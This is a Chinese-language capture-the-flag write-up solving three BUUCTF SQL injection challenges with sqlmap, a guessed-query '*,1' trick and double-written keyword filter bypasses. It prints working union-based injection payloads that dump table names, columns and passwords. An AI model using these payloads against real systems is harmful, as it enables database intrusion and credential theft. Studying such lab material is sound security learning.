-
BUU SQL COURSE 1
- 1
- 實例無法訪問 / Instance can't be reached at that time | BUUCTF
- 但是這個地方很迷惑就是這個 一個 # 我們不抓包就不知道這個是sql注入類的
- 判斷是 get 類型的sql注入直接使用sqlmap
- 我們放入到1.txt中
- 目的是 優先檢測 ?id=1
- >python3 sqlmap.py -r 1.txt
-
- 他會自動的進行檢測 對方的數據庫類型
- 直接進行數據搜哈
- 這個加密是 24英文字母小寫是MD5
- 解密不出來 那就說明這個pass就是密碼
- flag{19a949af-93af-4422-a127-87b23a68c134}
-
[SUCTF 2019]EasySQL1
-
- 老辦法復制一下然后 放到1.txt(這個文件需要和sqlmap是同級的文件)
- 標上 *
- 發現梭哈失敗了 原因 :1、這個過程中經過了 服務器的解密
- 2、有waf
- 第一種排除了 是第二種 有waf過濾
- 輸入字母就會無回顯但是輸入數字
- 有個Array 這個在php中是數組的意思
- 也就是我們可以輸入一個數組 這個[0] 猜測是 $flag=array[xxxxxxxx]
- 輸入1
- 會出現 [0]=1
- 但是輸入 0時會消失
- 輸入0和1 發現我們輸入什么他就會回顯什么
- 猜測后端的邏輯
- 我發現一個規律就是 我輸入多少個數組 最后一個都是 1
- 后端邏輯 : select $_POST['query'] || flag from Flag
- 可能就是當我們輸入這個flag是正確的時候就會出現flag 這個很明顯不顯示
- 但是我們可以使用 * 讓其列出所以的列 然后 ,1 構造這個數組
- select *,1 || flag from Flag
- 1 || flag
- 就是作用類似于 1 or 1 =1
- select * 是查找所以的值
- 在mysql中 || 就是或運算符的意思
- 1 or 一個值的邏輯必然是 true
- 因為1是真實存在的
- 但是如果我們輸入的flag不是真實存在的就雞雞了 但是這個又過濾了字母 所以說這樣做事最正確的
-
[極客大挑戰 2019]BabySQL
- 判斷類型
- 使用邏輯注入 '= \ '=
- 獲取當賬號密碼
- 猜測是MD5
- 失敗 那就說明 passwd就是這個
- 但是這個不是 flag
- 根據題目提示 bodysql 但是我們不知道是哪個地方的注入抓個包直接使用sqlmap一鍵梭哈一下
- 發現失敗了
- python3 sqlmap.py -r 1.txt --level=4
- 說明可能又有waf
-
- 這個雙寫過濾的邏輯就是 服務器的替換是只能不斷向前替換的 不能回頭 bbyy 他首先會把 by 換為 ' ' 只能他是不能回頭把 b y 進行替換
- 發現這樣構造還是沒有 所以就使用手工注入 使用 union 看一下他到底有幾個列
- 發現一共是有 3個數據的
- 有個知識點就是 不能在url中使用 # 要使用 %23 不然會造成不識別
- 查表
- ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23
- http://6304b807-b309-4f6c-8c46-58857e48ae51.node5.buuoj.cn:81/check.php?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema=database()%23
- 發現這個有兩個id 應該不是的
- 直接找密碼
- ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23